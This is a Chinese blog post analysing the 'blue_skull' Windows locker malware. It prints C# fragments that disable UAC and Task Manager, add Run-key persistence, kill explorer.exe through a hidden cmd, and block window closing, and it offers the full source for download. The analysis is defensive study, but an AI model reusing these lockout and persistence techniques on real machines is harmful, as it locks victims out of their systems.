首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >blue_skull Windows勒索恶意软件分析

blue_skull Windows勒索恶意软件分析

作者头像
用户4682003
发布于 2025-06-16 01:13:47
发布于 2025-06-16 01:13:47
9900
代码可运行
举报
运行总次数:0
代码可运行

系统功能分析

1. 系统概述

blue_skull是一个Windows平台的恶意锁定程序(Locker类型病毒),主要功能包括:

  • 强制锁定用户系统
  • 禁用任务管理器
  • 修改关键注册表项
  • 自启动持久化
  • 播放背景音乐
  • 需要输入特定密码才能解锁

2. 系统架构

3. 核心技术实现

3.1 注册表修改

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 禁用UAC
RegistryKey rg = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
rg.SetValue("EnableLUA", 0, RegistryValueKind.DWord);
// 禁用任务管理器
RegistryKey fk = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
fk.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
// 设置自启动
RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
reg.SetValue("blue_skull", Application.ExecutablePath.ToString());

3.2 进程控制

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 杀死explorer.exe
ProcessStartInfo kokot = new ProcessStartInfo();
kokot.FileName = "cmd.exe";
kokot.WindowStyle = ProcessWindowStyle.Hidden;
kokot.Arguments = @"/k taskkill /f /im explorer.exe";
Process.Start(kokot);
// 恢复explorer.exe
ProcessStartInfo kokot = new ProcessStartInfo();
kokot.FileName = "cmd.exe";
kokot.WindowStyle = ProcessWindowStyle.Hidden;
kokot.Arguments = @"/k start explorer.exe";

3.3 界面锁定

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 防止关闭
private void blue_skull2_FormClosing(object sender, FormClosingEventArgs e)
{
    e.Cancel = true; 
}
// 全屏透明窗口
this.TransparencyKey = this.BackColor;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;

3.4 网络功能

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 从GitHub下载音频文件
WebClient webClient = new WebClient();
webClient.DownloadFile("https://github.com/MalwareStudio/norm9/raw/master/norm9.wav", @"C:\norm9.wav");

4. 系统行为总结

  1. 启动阶段
    • 创建隐形全屏窗口
    • 终止explorer.exe进程
    • 修改关键注册表项
    • 下载背景音乐文件
  2. 锁定阶段
    • 显示锁定界面
    • 循环播放背景音乐
    • 拦截所有关闭尝试
  3. 解锁阶段
    • 需要输入正确密码(672349276)
    • 恢复注册表设置
    • 重启explorer.exe
    • 自我终止

    需要源代码研究的同学可以在公众号回复“blueskull”下载即可,下载的源代码可以用于编译后做二进制病毒分析跟源代码进行对比学习。但不可用于做坏事,否则后果自负。这些源代码也可以用作AI分析的元数据,喂给AI吃,等代码量足够多了,即可实现一个deepseek或者其他AI病毒分析智能体(Agent)。

注意:此分析仅用于安全研究目的,切勿用于非法用途。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-03-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全技术点滴分享 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
理解LSTM网络
人类不会每时每刻都从头开始重新思考,就像你阅读这篇文章时,你会根据对上文的理解来推断每个词语的意思,而不是抛弃一切从零开始思考。换而言之,你的思想具有持久性。
花落花飞去
2018/02/02
8980
理解LSTM网络
深度丨目前最受欢迎的 LSTM 教程:谷歌大脑科学家亲解
AI 科技评论按:这篇文章非常经典,出自 Google Brain 科学家 Christopher Olah 的博客,小编保证这是相对通俗易懂的一篇入门介绍了,看不懂的话欢迎关注「AI 科技评论」私聊。 如果你对深度学习稍有些研究的话,相信你一定听说过 LSTM,AI 科技评论此前也编译过 LSTM 之父 Jürgen Schmidhuber 的访谈文章,他与 Sepp Hochreiter 在 1997 年发表的一篇论文中提出了 LSTM 的概念。 LSTM 能够提升神经网络接受输入信息及训练数据的记忆机
AI科技评论
2018/03/09
1K0
深度丨目前最受欢迎的 LSTM 教程:谷歌大脑科学家亲解
(译)理解 LSTM 网络 (Understanding LSTM Networks by colah)
前言:其实之前就已经用过 LSTM 了,是在深度学习框架 keras 上直接用的,但是到现在对LSTM详细的网络结构还是不了解,心里牵挂着难受呀!今天看了 tensorflow 文档上面推荐的这篇博文,看完这后,焕然大悟,对 LSTM 的结构理解基本上没有太大问题。此博文写得真真真好!!!为了帮助大家理解,也是怕日后自己对这些有遗忘的话可以迅速回想起来,所以打算对原文写个翻译。首先声明,由于本人水平有限,如有翻译不好或理解有误的多多指出!此外,本译文也不是和原文一字一句对应的,为了方便理解可能会做一些调整和
Spark学习技巧
2018/06/22
1.3K0
如果你还没搞懂LSTM 网络,那本文绝对值得一看
本文作者Christopher Olah是Google Brain的研究科学家,她在文中图文并茂地解释了什么是LSTM网络,为什么要用LSTM网络,以及LSTM的核心思想,并通过分步详解的形式让读者更容易接受和理解这些概念。 在文章末尾,作者有一个思考:虽然LSTM使得我们在使用RNN能完成任务上迈进了一大步,但还会有下一个大进步吗? 对此你是怎么看的呢? 作者 | Christopher Olah 译者 | 于乃通 循环神经网络(RNN) 人们的每次思考并不都是从零开始的。比如说你在阅读这篇文章时,你
AI科技大本营
2018/04/27
8330
如果你还没搞懂LSTM 网络,那本文绝对值得一看
多图+公式全面解析RNN,LSTM,Seq2Seq,Attention注意力机制
我们知道人类并不是从零开始思考东西,就像你读这篇文章的时候,你对每个字的理解都是建立在前几个字上面。你读完每个字后并不是直接丢弃然后又从零开始读下一个字,因为你的思想是具有持续性的,很多东西你要通过上下文才能理解。
CristianoC
2020/06/02
3.5K0
LSTM
长时间的短期记忆网络(Long Short-Term Memory Networks),很多地方翻译为长短期记忆网络,给人一种歧义,以为是网络一会儿能记很长的内容,一会儿能记很短的内容,但其实正确的翻译应该是长时间的短期记忆网络。它的本质就是能够记住很长时期内的信息
mathor
2020/02/14
9020
深度学习500问——Chapter06: 循环神经网络(RNN)(3)
RNN在处理长期依赖(时间序列上距离较远的节点)时会遇到巨大的困难,因为计算距离较远的节点之间联系时会涉及雅可比矩阵的多次相乘,会造成梯度消失或者梯度膨胀的现象。为了解决该问题,研究人员提出了许多解决办法,例如ESN(Echo State Network),增加有漏单元(Leaky Units)等等,其中成功应用最广泛的就是门限RNN(Gated RNN),而LSTM就是门限RNN中最著名的一种。有漏单元通过设计连接间的权重系数,从而允许RNN累积距离较远节点间的长期联系;而门限RNN则泛化了这样的思想,允许在不同时刻改变该系数,且允许网络忘记当前已经积累的信息。
JOYCE_Leo16
2024/04/09
1810
深度学习500问——Chapter06: 循环神经网络(RNN)(3)
LSTM模型
什么是LSTM模型 LSTM (Long Short-Term Memory)也称长短时记忆结构,它是传统RNN的变体,与经典RNN相比能够有效捕捉长序列之间的语义关联,缓解梯度消失或爆炸现象.同时LSTM的结构更复杂,它的核心结构可以分为四个部分去解析: ●遗忘门 ●输入门 ●细胞状态 ●输出门
zhangjiqun
2024/12/14
6680
LSTM模型
LSTM介绍及反向传播算法推导
LSTM(Long short-term memory)通过刻意的设计来避免长期依赖问题,是一种特殊的RNN。长时间记住信息实际上是 LSTM 的默认行为,而不是需要努力学习的东西!
用户3578099
2020/11/04
1.3K0
LSTM介绍及反向传播算法推导
【综述专栏】循环神经网络RNN(含LSTM,GRU)小综述
在科学研究中,从方法论上来讲,都应“先见森林,再见树木”。当前,人工智能学术研究方兴未艾,技术迅猛发展,可谓万木争荣,日新月异。对于AI从业者来说,在广袤的知识森林中,系统梳理脉络,才能更好地把握趋势。为此,我们精选国内外优秀的综述文章,开辟“综述专栏”,敬请关注。
马上科普尚尚
2021/01/13
5.3K0
【综述专栏】循环神经网络RNN(含LSTM,GRU)小综述
理解 LSTM 网络
人类不会每一秒都从头开始思考。当你阅读这篇文章时,你会根据对之前单词的理解来理解每个单词。您不会扔掉所有东西并重新从头开始思考。你的思想有恒心。
小锋学长生活大爆炸
2022/05/09
6900
理解 LSTM 网络
LSTM模型介绍
人类不会每时每刻都开始思考。 当你阅读这篇文章时,你会根据你对之前单词的理解来理解每个单词。 你不会忘掉掉所有东西,然后再从头开始思考。 你的想法有持久性。
全栈程序员站长
2022/10/01
1.2K0
LSTM模型介绍
简单理解LSTM神经网络
向AI转型的程序员都关注了这个号👇👇👇 机器学习AI算法工程   公众号:datayx 递归神经网络 在传统神经网络中,模型不会关注上一时刻的处理会有什么信息可以用于下一时刻,每一次都只会关注当前时刻的处理。举个例子来说,我们想对一部影片中每一刻出现的事件进行分类,如果我们知道电影前面的事件信息,那么对当前时刻事件的分类就会非常容易。实际上,传统神经网络没有记忆功能,所以它对每一刻出现的事件进行分类时不会用到影片已经出现的信息,那么有什么方法可以让神经网络能够记住这些信息呢?答案就是Recurrent
机器学习AI算法工程
2022/03/04
9320
译 理解RNN和LSTM网络
循环神经网络(RNN) 人们的每次思考并不都是从零开始的。比如说你在阅读这篇文章时,你基于对前面的文字的理解来理解你目前阅读到的文字,而不是每读到一个文字时,都抛弃掉前面的思考,从头开始。你的记忆是有持久性的。 传统的神经网络并不能如此,这似乎是一个主要的缺点。例如,假设你在看一场电影,你想对电影里的每一个场景进行分类。传统的神经网络不能够基于前面的已分类场景来推断接下来的场景分类。 循环神经网络(Recurrent Neural Networks)解决了这个问题。这种神经网络带有环,可以将信息持久化。在
云时之间
2018/04/11
7210
深度学习|理解LSTM网络(前篇)
01 — 回顾 近两天推送介绍了CNN网络,关于这部分的介绍,请参考: 深度学习|卷积神经网络(CNN)介绍(前篇) 深度学习|卷积神经网络(CNN)介绍(后篇) CNN网络在图像处理被广泛应用,接下来,介绍另一种在自然语言处理(NLP)和语音识别领域应用广泛的网络:LSTM(Long Short Term Memory),它是RNN网络的一个更具有工程应用的版本。 关于这部分的内容介绍,基本参考:《Understanding LSTM Networks》(http://colah.github.io/po
double
2018/04/02
7720
深度学习|理解LSTM网络(前篇)
长短期记忆网络 – Long short-term memory | LSTM
长短期记忆网络——通常被称为 LSTM,是一种特殊的 RNN,能够学习长期依赖性。由 Hochreiter 和 Schmidhuber(1997)提出的,并且在接下来的工作中被许多人改进和推广。LSTM 在各种各样的问题上表现非常出色,现在被广泛使用。
easyAI
2019/12/18
2.3K0
长短期记忆网络 – Long short-term memory | LSTM
利用LSTM(长短期记忆网络)来处理脑电数据
LSTMs(Long Short Term Memory networks,长短期记忆网络)简称LSTMs,很多地方用LSTM来指代它。本文也使用LSTM来表示长短期记忆网络。LSTM是一种特殊的RNN网络(循环神经网络)。想要说清楚LSTM,就很有必要先介绍一下RNN。下面我将简略介绍一下RNN原理。
脑机接口社区
2020/07/01
1.1K0
长短期记忆神经网络(LSTM)介绍以及简单应用分析「建议收藏」
本文分为四个部分,第一部分简要介绍LSTM的应用现状;第二部分介绍LSTM的发展历史,并引出了受众多学者关注的LSTM变体——门控递归单元(GRU);第三部分介绍LSTM的基本结构,由基本循环神经网络结构引出LSTM的具体结构。第四部分,应用Keras框架提供的API,比较和分析简单循环神经网络(SRN)、LSTM和GRU在手写数字mnist数据集上的表现。
全栈程序员站长
2022/09/16
37.1K0
[译] 理解 LSTM 网络
本文译自 Colah 的博文 Recurrent Neural Networks 人类并不是每时每刻都从一片空白的大脑开始他们的思考。在你阅读这篇文章时候,你都是基于自己已经拥有的对先前所见词的理解来推断当前词的真实含义。我们不会将所有的东西都全部丢弃,然后用空白的大脑进行思考。我们的思想拥有持久性。 传统的神经网络并不能做到这点,看起来也像是一种巨大的弊端。例如,假设你希望对电影中的每个时间点的时间类型进行分类。传统的神经网络应该很难来处理这个问题——使用电影中先前的事件推断后续的事件。 RNN 解决了这
用户1107453
2018/06/21
4400
用机器学习实现IT服务票单的分配,实例详解分享
用认知计算处理现实生活中的业务是一件很有意义的事情,比如在IT服务管理领域。机器学习对处理现实案例中的分类与分配问题将会比人工更为有效,比如以下几种场景:
商业新知
2019/05/09
7460
用机器学习实现IT服务票单的分配,实例详解分享
推荐阅读
相关推荐
理解LSTM网络
更多 >
LV.1
这个人很懒,什么都没有留下~
交个朋友
加入腾讯云官网粉丝站
蹲全网底价单品 享第一手活动信息
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档